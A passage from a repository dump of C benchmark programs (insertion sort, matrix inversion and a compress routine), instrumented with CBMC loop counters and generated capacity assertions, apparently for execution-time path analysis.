0;\n#endif\n int i, j, key;\n\n #ifdef CBMC\n __count_7_2 = 0;\n #endif\n for (j = 1; j < ARRAY_SIZE; j++) // 7\n {\n #ifdef CBMC\n __count_7_2++;\n #endif\n key = a[j];\n i = j - 1;\n\n #ifdef CBMC\n __count_4_5_L = 0;\n #endif\n while (a[i] > key && \n (\n #ifdef CBMC\n (\n __count_4_5_L++,\n __count_4_5++\n ),\n #endif\n i >= 0\n )\n ) // 4, 5\n {\n a[i+1] = a[i];\n i--;\n }\n #ifdef CBMC\n assert(__count_4_5_L <= 98); // Loop counter property\n #endif\n\n #ifdef CBMC\n if (a[i] <= key) __count_4_6++;\n else __count_5_6++;\n #endif\n\n a[i+1] = key;\n }\n #ifdef CBMC\n assert(__count_7_2 <= 100); // Loop counter property\n #endif\n\n #ifdef CBMC\n __count_7_8++;\n __count_8++;\n #endif\n\n#ifdef CBMC\nassert(__count_8 >= 1); // Lower capacity constraint\nassert(__count_8 <= 1); // Upper capacity constraint\nassert(__count_7_8 >= 1); // Lower capacity constraint\nassert(__count_7_8 <= 1); // Upper capacity constraint\n//assert(__count_4_5 >= 1979); // Lower capacity constraint\nassert(__count_4_5 <= 3385); // Upper capacity constraint\n//assert(__count_4_6 >= 99); // Lower capacity constraint\nassert(__count_4_6 <= 99); // Upper capacity constraint\n//assert(__count_5_6 == 0); // Dead code\n#endif\n\n return a[0];\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; i++)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n \n #ifdef CBMC\n __CPROVER_assume(ARRAY_SIZE >= 1 && ARRAY_SIZE <= 100);\n #endif\n\n int val = insertsort (ARRAY_SIZE, TV);\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.3496890068054199, "alphanum_fraction": 0.365929514169693, "avg_line_length": 13.90109920501709, "blob_id": "5bf5c5d631ab0db5ac9894c19a1c372645134e5a", "content_id": "eff6cb20d4670e25d5402dfe85abe10a04ef388a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2894, "license_type": "no_license", "max_line_length": 74, "num_lines": 182, "path": "/benchmarks/matrix_inverse/matrix_inverse.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r\n * Matrix inversion taken from MDH suite and modified by Adam Betts to\r\n * consume a test vector supplied on the command line.\r\n *\r\n * For this program, the test vector consists of 9 integers since there is\r\n * a single 3*3 matrix to be initialised before inversion.\r\n */\r\n\r\n#define UPPERLIMIT 3\r\n\r\ndouble\r\nfabs (double n)\r\n{\r\n if (n >= 0)\r\n {\r\n return n;\r\n }\r\n else\r\n {\r\n return -n;\r\n }\r\n}\r\n\r\nvoid\r\nminver (double a[][UPPERLIMIT], int row, int col, double eps)\r\n{\r\n int work[500];\r\n int i;\r\n int j;\r\n int k;\r\n int r;\r\n int iw;\r\n int s;\r\n int t;\r\n int u;\r\n int v;\r\n double w;\r\n double wmax;\r\n double pivot;\r\n double api;\r\n double w1;\r\n double b[UPPERLIMIT][UPPERLIMIT];\r\n double c[UPPERLIMIT][UPPERLIMIT];\r\n double e[UPPERLIMIT][UPPERLIMIT];\r\n\r\n if (row < 2 || row > 500 || eps <= 0.0)\r\n {\r\n return;\r\n }\r\n\r\n w1 = 1.0;\r\n for (i = 0; i < row; i++)\r\n {\r\n work[i] = i;\r\n }\r\n\r\n for (k = 0; k < row; k++)\r\n {\r\n wmax = 0.0;\r\n for (i = k; i < row; i++)\r\n {\r\n w = fabs (a[i][k]);\r\n if (w > wmax)\r\n {\r\n wmax = w;\r\n r = i;\r\n }\r\n }\r\n pivot = a[r][k];\r\n api = fabs (pivot);\r\n\r\n if (api <= eps)\r\n {\r\n return;\r\n }\r\n\r\n w1 *= pivot;\r\n u = k * col;\r\n v = r * col;\r\n\r\n if (r != k)\r\n {\r\n w1 = -w;\r\n iw = work[k];\r\n work[k] = work[r];\r\n work[r] = iw;\r\n for (j = 0; j < row; j++)\r\n {\r\n s = u + j;\r\n t = v + j;\r\n w = a[k][j];\r\n a[k][j] = a[r][j];\r\n a[r][j] = w;\r\n }\r\n }\r\n\r\n for (i = 0; i < row; i++)\r\n {\r\n a[k][i] /= pivot;\r\n }\r\n\r\n for (i = 0; i < row; i++)\r\n {\r\n if (i != k)\r\n {\r\n v = i * col;\r\n s = v + k;\r\n w = a[i][k];\r\n if (w != 0.0)\r\n {\r\n for (j = 0; j < row; j++)\r\n {\r\n if (j != k)\r\n {\r\n a[i][j] -= w * a[k][j];\r\n }\r\n }\r\n a[i][k] = -w / pivot;\r\n }\r\n }\r\n }\r\n a[k][k] = 1.0 / pivot;\r\n }\r\n\r\n for (i = 0; i < row; i++)\r\n {\r\n while (1)\r\n {\r\n k = work[i];\r\n\r\n if (k == i)\r\n {\r\n break;\r\n }\r\n\r\n iw = work[k];\r\n work[k] = work[i];\r\n work[i] = iw;\r\n for (j = 0; j < row; j++)\r\n {\r\n u = j * col;\r\n s = u + i;\r\n t = u + k;\r\n w = a[k][i];\r\n a[k][i] = a[k][k];\r\n a[k][k] = w;\r\n }\r\n }\r\n }\r\n}\r\n\r\nint\r\nmain (int argc, char **argv)\r\n{\r\n int i;\r\n int j;\r\n int k;\r\n double a[UPPERLIMIT][UPPERLIMIT];\r\n double eps = 1.0e-6;\r\n\r\n /*\r\n * Need 9 values to fill up the matrix.\r\n */\r\n if (argc != 10)\r\n {\r\n return 1;\r\n }\r\n\r\n k = 0;\r\n for (i = 0; i < UPPERLIMIT; ++i)\r\n {\r\n for (j = 0; j < UPPERLIMIT; ++j)\r\n {\r\n a[i][j] = atoi (argv[k + 1]);\r\n k++;\r\n }\r\n }\r\n\r\n minver (a, UPPERLIMIT, UPPERLIMIT, eps);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4551753103733063, "alphanum_fraction": 0.5589478015899658, "avg_line_length": 25.479839324951172, "blob_id": "e81a6a3bff4c6196fd6a6d67736e4a3443282bf5", "content_id": "b8d43b7bca909a4416846163abff731366c56a03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 26269, "license_type": "no_license", "max_line_length": 95, "num_lines": 992, "path": "/DaikonPathInformation/benchmarks/compress.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#define BUFFERSIZE 50\n#define HSIZE 257\n#define BITS 16\n#define INIT_BITS 9\n#define BLOCK_MASK 0x80\n#define FIRST 257\t/* first free entry */\n#define\tCLEAR 256\t/* table clear output code */\n#define CHECK_GAP 10000\t/* ratio check interval */\n\n#define MAXCODE(n_bits) ((1 << (n_bits)) - 1)\n\ntypedef long int code_int;\ntypedef unsigned long int count_int;\ntypedef unsigned short int count_short;\ntypedef\tunsigned char char_type;\n\nint exit_stat = 0;\nint n_bits; /* number of bits/code */\nint maxbits = BITS; /* user settable max # bits/code */\nint nomagic = 1; /* Use a 3-byte magic number header, unless old file */\nint zcat_flg = 0; /* Write output on stdout, suppress messages */\nint quiet = 1; /* don't tell me about compression */\nint block_compress = BLOCK_MASK;\nint clear_flg = 0;\nint InCnt;\nint apsim_InCnt;\nint force = 0;\nint offset;\nlong int in_count = 1;\t\t\t/* length of input */\nlong int bytes_out;\t\t\t/* length of compressed output */\nlong int out_count = 0;\t\t\t/* # of codes output (for debugging) */\nlong int ratio = 0;\nchar ofname [100];\nchar orig_text_buffer[BUFFERSIZE];\nchar comp_text_buffer[BUFFERSIZE+5];\nchar buf[BITS];\nunsigned char *InBuff;\nunsigned char *OutBuff;\nunsigned short codetab [HSIZE];\n\ncount_int checkpoint = CHECK_GAP;\ncode_int maxcode; /* maximum code, given n_bits */\ncode_int maxmaxcode = 1L << BITS; /* should NEVER generate this code */\ncode_int hsize = HSIZE; /* for dynamic table sizing */\ncode_int free_ent = 0; /* first unused entry */\ncount_int fsize;\ncount_int htab [HSIZE];\n\nchar_type lmask[9] = {0xff, 0xfe, 0xfc, 0xf8, 0xf0, 0xe0, 0xc0, 0x80, 0x00};\nchar_type rmask[9] = {0x00, 0x01, 0x03, 0x07, 0x0f, 0x1f, 0x3f, 0x7f, 0xff};\n\nvoid \ncl_hash (count_int hsize)\t\t/* reset code table */\n{\n#ifdef CBMC\n//==========> cl_hash : header 81\nint __count_81_80 = 0;\nint __count_81_80_L = 0; //Loop counter\n//==========> cl_hash : header 78\nint __count_78 = 0;\nint __count_78_78 = 0; //Loop counter\n//==========> cl_hash : header 77\nint __count_82 = 0;\nint __count_81_82 = 0;\n#endif\n\n register count_int *htab_p = htab+hsize;\n register long i;\n register long m1 = -1;\n\n i = hsize - 16;\n\n #ifdef CBMC\n __count_78_78--;\n #endif\n do // 78\n {\t\n #ifdef CBMC\n __count_78++;\n __count_78_78++;\n #endif\n /* might use Sys V memset(3) here */\n *(htab_p-16) = m1;\n *(htab_p-15) = m1;\n *(htab_p-14) = m1;\n *(htab_p-13) = m1;\n *(htab_p-12) = m1;\n *(htab_p-11) = m1;\n *(htab_p-10) = m1;\n *(htab_p-9) = m1;\n *(htab_p-8) = m1;\n *(htab_p-7) = m1;\n *(htab_p-6) = m1;\n *(htab_p-5) = m1;\n *(htab_p-4) = m1;\n *(htab_p-3) = m1;\n *(htab_p-2) = m1;\n *(htab_p-1) = m1;\n htab_p -= 16;\n } while ((i -= 16) >= 0);\n #ifdef CBMC\n //assert(__count_78_78 <= 2); // Loop counter property\n #endif\n\n #ifdef CBMC\n __count_81_80_L = 0;\n #endif\n for (i += 16; i > 0; i--) // 81\n {\n #ifdef CBMC\n __count_81_80_L++;\n __count_81_80++;\n #endif\n *--htab_p = m1; //80\n }\n #ifdef CBMC\n assert(__count_81_80_L <= 2); // Loop counter property\n\n __count_81_82++;\n __count_82++;\n #endif\n\n#ifdef CBMC\nassert(__count_82 >= 1); // Lower capacity constraint\nassert(__count_82 <= 1); // Upper capacity constraint\nassert(__count_78 >= 3); // Lower capacity constraint\nassert(__count_78 <= 3); // Upper capacity constraint\nassert(__count_81_80 >= 1); // Lower capacity constraint\nassert(__count_81_80 <= 1); // Upper capacity constraint\nassert(__count_81_82 >= 1); // Lower capacity constraint\nassert(__count_81_82 <= 1); // Upper capacity constraint\n#endif\n\n}\n\nvoid \nputbyte (char c)\n{\n#ifdef CBMC\n//==========> putbyte : header 108\nint __count_108 = 0;\n#endif\n *OutBuff++ = c; \t\t /* apsim_unknown comp_text_buffer */\n#ifdef CBMC\n__count_108++;\n#endif\n\n#ifdef CBMC\nassert(__count_108 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_108 <= 0); // Upper capacity constraint\n#endif\n\n}\n\nvoid \nwritebytes (char *buf, int n)\n{\n#ifdef CBMC\n//==========> writebytes : header 17\nint __count_17_18 = 0;\nint __count_17_18_L = 0; //Loop counter\n//==========> writebytes : header 15\nint __count_19 = 0;\nint __count_17_19 = 0;\nint __count_18_19 = 0;\n#endif\n\n int i;\n #ifdef CBMC\n __count_17_18_L = 0;\n #endif\n for (i=0; (i<n) && (i < BITS); i++) // 17\n {\n #ifdef CBMC\n __count_17_18_L++;\n __count_17_18++;\n #endif\n *OutBuff++ = buf[i]; \t\t /* apsim_unknown comp_text_buffer */\n }\n #ifdef CBMC\n assert(__count_17_18_L <= 0); // Loop counter property\n #endif\n\n\n #ifdef CBMC\n if(i<n)\n {\n __count_18_19++;\n }\n else\n {\n __count_17_19++;\n }\n\n __count_19++;\n #endif\n\n#ifdef CBMC\nassert(__count_17_19 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_17_19 <= 0); // Upper capacity constraint\nassert(__count_17_18 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_17_18 <= 0); // Upper capacity constraint\nassert(__count_19 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_19 <= 0); // Upper capacity constraint\nassert(__count_18_19 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_18_19 <= 0); // Upper capacity constraint\n#endif\n\n}\n\nvoid \noutput (code_int code)\n{\n#ifdef CBMC\n//==========> output : header 90\nint __count_90_91 = 0;\nint __count_90_91_L = 0; //Loop counter\n//==========> output : header 83\nint __count_107 = 0;\nint __count_84_85 = 0;\nint __count_84_86 = 0;\nint __count_86_88 = 0;\nint __count_87_88 = 0;\nint __count_88_94 = 0;\nint __count_91_93 = 0;\nint __count_92_93 = 0;\nint __count_94_96 = 0;\nint __count_95_96 = 0;\nint __count_95_107 = 0;\nint __count_96_99 = 0;\nint __count_98_99 = 0;\nint __count_99_100 = 0;\nint __count_101_102 = 0;\nint __count_103_107 = 0;\nint __count_104_105 = 0;\nint __count_104_106 = 0;\n#endif\n /*\n * On the VAX, it is important to have the register declarations\n * in exactly the order given, or the asm will break.\n */\n register int r_off = offset, bits= n_bits;\n register char * bp = buf;\n\n if (code >= 0) // 83\n {\n // 84\n /*\n * byte/bit numbering on the VAX is simulated by the following code\n */\n /*\n * Get to the first byte.\n */\n bp += (r_off >> 3);\n r_off &= 7;\n \n /*\n * Since code is always >= 8 bits, only need to mask the first\n * hunk on the left.\n */\n *bp = ((*bp & rmask[r_off]) | (code << r_off)) & lmask[r_off]; /* apsim_unknown buf */\n bp++;\n bits -= (8 - r_off);\n code >>= 8 - r_off;\n \n /* Get any 8 bit parts in the middle (<=1 for up to 16 bits). */\n // 84\n if (bits >= 8)\n {\n #ifdef CBMC\n __count_84_85++;\n #endif\n // 85\n *bp++ = code; /* apsim_unknown buf */\n code >>= 8;\n bits -= 8;\n }\n #ifdef CBMC\n else __count_84_86++;\n #endif\n\n /* Last bits. */\n // 86\n if(bits) \n {\n // 87\n *bp = code; /* apsim_unknown buf */\n #ifdef CBMC\n __count_87_88++;\n #endif\n }\n #ifdef CBMC\n else __count_86_88++;\n #endif\n\n offset += n_bits;\n // 88\n if (offset == (n_bits << 3)) \n {\n // 89\n bp = buf;\n bits = n_bits;\n bytes_out += bits;\n #ifdef CBMC\n __count_90_91_L=0;\n #endif\n do // 90\n {\n #ifdef CBMC\n __count_90_91_L++;\n __count_90_91++;\n #endif\n putbyte(*bp++);\n } // 91, 92\n while(( --bits) && ((bp - buf < BITS)));\n #ifdef CBMC\n assert(__count_90_91_L <= 0); // Loop counter property\n #endif\n \n #ifdef CBMC\n if(bits)\n {\n __count_92_93++;\n }\n else\n {\n __count_91_93++;\n }\n #endif\n\n // 93\n offset = 0;\n }\n #ifdef CBMC\n else __count_88_94++;\n #endif\n \n /*\n * If the next entry is going to be too big for the code size,\n * then increase it, if possible.\n */\n // 94, 95?\n if ( free_ent > maxcode || ((clear_flg > 0))) \n {\n // 96\n \n #ifdef CBMC\n if(free_ent > maxcode)\n {\n __count_94_96++;\n }\n else\n {\n __count_95_96++;\n }\n #endif\n /*\n * Write the whole buffer, because the input side won't\n * discover the size increase until after it has read it.\n */\n // 96\n if (offset > 0) \n {\n // 97\n writebytes( buf, n_bits );\n bytes_out += n_bits;\n #ifdef CBMC\n __count_98_99++;\n #endif\n }\n #ifdef CBMC\n else __count_96_99++;\n #endif\n \n offset = 0;\n // 99\n if (clear_flg) \n {\n #ifdef CBMC\n __count_99_100++;\n #endif\n // 100\n maxcode = MAXCODE (n_bits = INIT_BITS);\n clear_flg = 0;\n } \n else \n {\n n_bits++;\n // 101\n if ( n_bits == maxbits )\n {\n #ifdef CBMC\n __count_101_102++;\n #endif\n // 102\n maxcode = maxmaxcode;\n }\n else\n {\n // 103\n maxcode = MAXCODE(n_bits);\n #ifdef CBMC\n __count_103_107++;\n #endif\n }\n }\n }\n #ifdef CBMC\n else __count_95_107++;\n #endif\n } \n else \n {\n // 104\n /*\n * At EOF, write the rest of the buffer.\n */\n // 104\n if ( offset > 0 )\n {\n #ifdef CBMC\n __count_104_105++;\n #endif\n // 105\n writebytes( buf, ((offset + 7) / 8) );\n }\n #ifdef CBMC\n else __count_104_106++;\n #endif\n // 106\n bytes_out += (offset + 7) / 8;\n offset = 0;\n }\n // 107\n #ifdef CBMC\n __count_107++;\n #endif\n\n#ifdef CBMC\nassert(__count_103_107 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_103_107 <= 0); // Upper capacity constraint\nassert(__count_104_105 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_104_105 <= 0); // Upper capacity constraint\nassert(__count_104_106 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_104_106 <= 0); // Upper capacity constraint\nassert(__count_84_85 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_84_85 <= 0); // Upper capacity constraint\nassert(__count_84_86 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_84_86 <= 0); // Upper capacity constraint\nassert(__count_86_88 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_86_88 <= 0); // Upper capacity constraint\nassert(__count_87_88 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_87_88 <= 0); // Upper capacity constraint\nassert(__count_88_94 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_88_94 <= 0); // Upper capacity constraint\nassert(__count_107 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_107 <= 0); // Upper capacity constraint\nassert(__count_90_91 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_90_91 <= 0); // Upper capacity constraint\nassert(__count_91_93 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_91_93 <= 0); // Upper capacity constraint\nassert(__count_92_93 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_92_93 <= 0); // Upper capacity constraint\nassert(__count_94_96 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_94_96 <= 0); // Upper capacity constraint\nassert(__count_95_96 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_95_96 <= 0); // Upper capacity constraint\nassert(__count_95_107 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_95_107 <= 0); // Upper capacity constraint\nassert(__count_96_99 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_96_99 <= 0); // Upper capacity constraint\nassert(__count_98_99 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_98_99 <= 0); // Upper capacity constraint\nassert(__count_99_100 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_99_100 <= 0); // Upper capacity constraint\nassert(__count_101_102 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_101_102 <= 0); // Upper capacity constraint\n#endif\n\n}\n\nvoid \ncl_block ()\t\t/* table clear for block compress */\n{\n #ifdef CBMC\n //==========> cl_block : header 3\n int __count_14 = 0;\n int __count_3_8 = 0;\n int __count_4_6 = 0;\n int __count_5_10 = 0;\n int __count_11_14 = 0;\n int __count_12_13 = 0;\n #endif\n\n register long int rat;\n\n checkpoint = in_count + CHECK_GAP;\n\n if (in_count > 0x007fffff) // 3\n {\n /* shift will overflow */\n\n rat = bytes_out >> 8;\n if (rat == 0) // 4\n { \n /* Don't divide by zero */\n rat = 0x7fffffff; // 5\n #ifdef CBMC\n __count_5_10++;\n #endif\n } \n else \n {\n #ifdef CBMC\n __count_4_6++;\n #endif\n rat = in_count / rat; // 6,7\n }\n } \n else \n {\n #ifdef CBMC\n __count_3_8++;\n #endif\n // 8\n rat = (in_count << 8) / bytes_out;\t/* 8 fractional bits */\n }\n \n if (rat > ratio) // 10\n {\n // 11\n ratio = rat;\n #ifdef CBMC\n __count_11_14++;\n #endif\n } \n else \n {\n // 12\n #ifdef CBMC\n __count_12_13++;\n #endif\n ratio = 0;\n cl_hash ((count_int) hsize); \n free_ent = FIRST;\n clear_flg = 1;\n output ((code_int) CLEAR);\n }\n #ifdef CBMC\n __count_14++;\n #endif\n\n#ifdef CBMC\nassert(__count_3_8 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_3_8 <= 0); // Upper capacity constraint\nassert(__count_14 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_14 <= 0); // Upper capacity constraint\nassert(__count_4_6 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_4_6 <= 0); // Upper capacity constraint\nassert(__count_5_10 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_5_10 <= 0); // Upper capacity constraint\nassert(__count_11_14 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_11_14 <= 0); // Upper capacity constraint\nassert(__count_12_13 >= 9223372036854775807); // Lower capacity constraint\nassert(__count_12_13 <= 0); // Upper capacity constraint\n#endif\n\n}\n\nunsigned int \ngetbyte ()\n{\n #ifdef CBMC\n//==========> getbyte : header 72\nint __count_76 = 0;\nint __count_72_75 = 0;\nint __count_73_74 = 0;\nint __count_73_75 = 0;\n #endif\n if (InCnt > 0 && (apsim_InCnt-- > 0)) // 72,73\n {\n // 74\n InCnt--;\n #ifdef CBMC\n __count_73_74++;\n __count_76++;\n #endif\n\n#ifdef CBMC\nassert(__count_76 >= 1); // Lower capacity constraint\nassert(__count_76 <= 1); // Upper capacity constraint\n//assert(__count_72_75 == 0); // Dead code\n//assert(__count_73_74 >= 1); // Lower capacity constraint\nassert(__count_73_74 <= 1); // Upper capacity constraint\nassert(__count_73_75 == 0); // Dead code\n#endif\n\n return (unsigned int)*InBuff++;\n } \n else \n {\n // 75\n\n #ifdef CBMC\n if(InCnt > 0)\n {\n __count_73_75++;\n }\n else\n {\n __count_72_75++;\n }\n #endif\n\n #ifdef CBMC\n __count_76++;\n #endif\n\n#ifdef CBMC\nassert(__count_76 >= 1); // Lower capacity constraint\nassert(__count_76 <= 1); // Upper capacity constraint\n//assert(__count_72_75 == 0); // Dead code\n//assert(__count_73_74 >= 1); // Lower capacity constraint\nassert(__count_73_74 <= 1); // Upper capacity constraint\nassert(__count_73_75 == 0); // Dead code\n#endif\n\n return -1;\n }\n}\n\nint \ncompress ()\n{\n#ifdef CBMC\n//==========> compress : header 47\nint __count_47_48 = 0;\nint __count_47_49 = 0;\nint __count_47_48_L = 0; //Loop counter\nint __count_47_49_L = 0; //Loop counter\n//==========> compress : header 60\nint __count_41_42 = 0;\nint __count_44_45 = 0;\nint __count_44_47 = 0;\nint __count_49_50 = 0;\nint __count_51_55 = 0;\nint __count_52_53 = 0;\nint __count_54_55 = 0;\nint __count_55_56 = 0;\nint __count_57_58 = 0;\nint __count_60_40 = 0; //Loop counter\n//==========> compress : header 37\nint __count_37_36_L = 0; //Loop counter\nint __count_37_36 = 0;\n//==========> compress : header 31\nint __count_63 = 0;\nint __count_32_34 = 0;\nint __count_33_34 = 0;\nint __count_61_62 = 0;\nint __count_61_63 = 0;\n#endif\n\n register long fcode;\n register code_int i = 0;\n register int c;\n register code_int ent;\n register int disp;\n register code_int hsize_reg;\n register int hshift;\n\n offset = 0;\n bytes_out = 3;\n out_count = 0;\n clear_flg = 0;\n ratio = 0;\n in_count = 1;\n checkpoint = CHECK_GAP;\n maxcode = MAXCODE(n_bits = INIT_BITS);\n \n free_ent = ((block_compress) ? \n (\n #ifdef CBMC\n __count_32_34++,\n #endif\n FIRST) \n :\n (\n #ifdef CBMC\n __count_33_34++,\n #endif\n 256) );\n ent = getbyte ();\n hshift = 0;\n \n // 37\n #ifdef CBMC\n __count_37_36_L = 0;\n #endif\n for (fcode = (long) hsize; fcode < 65536L; fcode *= 2L)\n {\n #ifdef CBMC\n __count_37_36_L++;\n __count_37_36++;\n #endif\n hshift++;\n }\n #ifdef CBMC\n assert(__count_37_36_L <= 9); // Loop counter property\n #endif\n\n hshift = 8 - hshift;\t/* set hash code range bound */\n hsize_reg = hsize;\n cl_hash( (count_int) hsize_reg); /* clear hash table */\n\n #ifdef CBMC\n __count_60_40=0;\n #endif\n // 60\n while (InCnt > 0) /* apsim_loop 11 0 */\n {\n #ifdef CBMC\n __count_60_40++;\n #endif\n int apsim_bound111 = 0;\n c = getbyte(); /* decrements InCnt */\n\n in_count++;\n fcode = (long) (((long) c << maxbits) + ent);\n i = ((c << hshift) ^ ent);\n\n if (htab[i] == fcode) // 41\n {\n #ifdef CBMC\n __count_41_42++;\n #endif\n //42\n ent = codetab[i];\n continue;\n } \n else if ((long)htab[i] < 0 ) // 43\n {\n // 54\n #ifdef CBMC\n __count_54_55++;\n #endif\n goto nomatch;\n }\n\n // 44\n disp = hsize_reg - i;\n // 44\n if (i == 0) \n {\n #ifdef CBMC\n __count_44_45++;\n #endif\n // 45\n disp = 1;\n }\n #ifdef CBMC\n else __count_44_47++;\n #endif\n#ifdef CBMC\n__count_47_48_L=0;\n__count_47_49_L=0;\n#endif\nprobe:\n // 47\n if ((i -= disp) < 0) \n { /* apsim_loop 111 11 */\n #ifdef CBMC\n __count_47_48_L++;\n __count_47_48++;\n #endif\n // 48\n i += hsize_reg;\n }\n #ifdef CBMC\n else\n {\n __count_47_49_L++;\n __count_47_49++;\n }\n #endif\n\n // 49\n if (htab[i] == fcode) \n {\n #ifdef CBMC\n __count_49_50++;\n #endif\n // 50\n ent = codetab[i];\n continue;\n }\n\n // 51, 52\n if ((long) htab[i] > 0 && (++apsim_bound111 < in_count))\n {\n // 46\n goto probe;\n }\n // 53\n\n #ifdef CBMC\n assert(__count_47_48_L + __count_47_49_L <= 7); // Loop counter property\n #endif\n\n #ifdef CBMC\n if((long) htab[i] > 0)\n {\n __count_52_53++;\n }\n else\n {\n __count_51_55++;\n }\n \n #endif\nnomatch:\n // 55\n out_count++;\n ent = c;\n // 55\n if (free_ent < maxmaxcode)\n {\n #ifdef CBMC\n __count_55_56++;\n #endif\n // 56\n codetab[i] = free_ent++;\t\n htab[i] = fcode;\n } \n // 57, 58\n else if (((count_int)in_count >= checkpoint) \n && (\n #ifdef CBMC\n __count_57_58++,\n #endif\n block_compress\n )\n ) \n {\n // 59 \n cl_block ();\n }\n }\n #ifdef CBMC\n assert(__count_60_40 <= 50); // Loop counter property\n #endif\n \n if (bytes_out > in_count) // 61\n { \n // 62\n #ifdef CBMC\n __count_61_62++;\n #endif\n exit_stat = 2;\n }\n #ifdef CBMC\n else __count_61_63++;\n #endif\n\n // 63\n #ifdef CBMC\n __count_63++;\n #endif\n\n#ifdef CBMC\nassert(__count_54_55 <= 49); // Upper capacity constraint\nassert(__count_32_34 <= 1); // Upper capacity constraint\nassert(__count_33_34 == 0); // Dead code\nassert(__count_57_58 == 0); // Dead code\nassert(__count_37_36 <= 8); // Upper capacity constraint\nassert(__count_55_56 <= 49); // Upper capacity constraint\nassert(__count_61_62 == 0); // Dead code\nassert(__count_61_63 <= 1); // Upper capacity constraint\nassert(__count_41_42 == 0); // Dead code\nassert(__count_44_45 <= 2); // Upper capacity constraint\nassert(__count_44_47 <= 18); // Upper capacity constraint\nassert(__count_47_48 <= 34); // Upper capacity constraint\nassert(__count_47_49 <= 11); // Upper capacity constraint\nassert(__count_49_50 == 0); // Dead code\nassert(__count_51_55 <= 18); // Upper capacity constraint\nassert(__count_52_53 == 0); // Dead code\nassert(__count_63 <= 1); // Upper capacity constraint\nassert(__count_32_34 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_32_34 > 0); // Mutual inclusion\nassert(__count_32_34 > 0 ==> __count_63 > 0); // Mutual inclusion\nassert(__count_63 > 0 ==> __count_32_34 > 0); // Mutual inclusion\nassert(__count_32_34 > 0 ==> __count_55_56 > 0); // Mutual inclusion\nassert(__count_55_56 > 0 ==> __count_32_34 > 0); // Mutual inclusion\nassert(__count_32_34 > 0 ==> __count_61_63 > 0); // Mutual inclusion\nassert(__count_61_63 > 0 ==> __count_32_34 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_63 > 0); // Mutual inclusion\nassert(__count_63 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_55_56 > 0); // Mutual inclusion\nassert(__count_55_56 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_61_63 > 0); // Mutual inclusion\nassert(__count_61_63 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_44_47 > 0 ==> __count_47_48 > 0); // Mutual inclusion\nassert(__count_47_48 > 0 ==> __count_44_47 > 0); // Mutual inclusion\nassert(__count_44_47 > 0 ==> __count_51_55 > 0); // Mutual inclusion\nassert(__count_51_55 > 0 ==> __count_44_47 > 0); // Mutual inclusion\nassert(__count_47_48 > 0 ==> __count_51_55 > 0); // Mutual inclusion\nassert(__count_51_55 > 0 ==> __count_47_48 > 0); // Mutual inclusion\nassert(__count_54_55 > 0 ==> __count_32_34 > 0); // Mutual inclusion\nassert(__count_32_34 > 0 ==> __count_54_55 > 0); // Mutual inclusion\nassert(__count_54_55 > 0 ==> __count_37_36 > 0); // Mutual inclusion\nassert(__count_37_36 > 0 ==> __count_54_55 > 0); // Mutual inclusion\nassert(__count_54_55 > 0 ==> __count_63 > 0); // Mutual inclusion\nassert(__count_63 > 0 ==> __count_54_55 > 0); // Mutual inclusion\nassert(__count_54_55 > 0 ==> __count_55_56 > 0); // Mutual inclusion\nassert(__count_55_56 > 0 ==> __count_54_55 > 0); // Mutual inclusion\nassert(__count_54_55 > 0 ==> __count_61_63 > 0); // Mutual inclusion\nassert(__count_61_63 > 0 ==> __count_54_55 > 0); // Mutual inclusion\nassert(__count_55_56 > 0 ==> __count_63 > 0); // Mutual inclusion\nassert(__count_63 > 0 ==> __count_55_56 > 0); // Mutual inclusion\nassert(__count_55_56 > 0 ==> __count_61_63 > 0); // Mutual inclusion\nassert(__count_61_63 > 0 ==> __count_55_56 > 0); // Mutual inclusion\nassert(__count_61_63 > 0 ==> __count_63 > 0); // Mutual inclusion\nassert(__count_63 > 0 ==> __count_61_63 > 0); // Mutual inclusion\nassert(__count_44_45 > 0 ==> __count_32_34 > 0); // Execution dependence\nassert(__count_44_45 > 0 ==> __count_37_36 > 0); // Execution dependence\nassert(__count_44_45 > 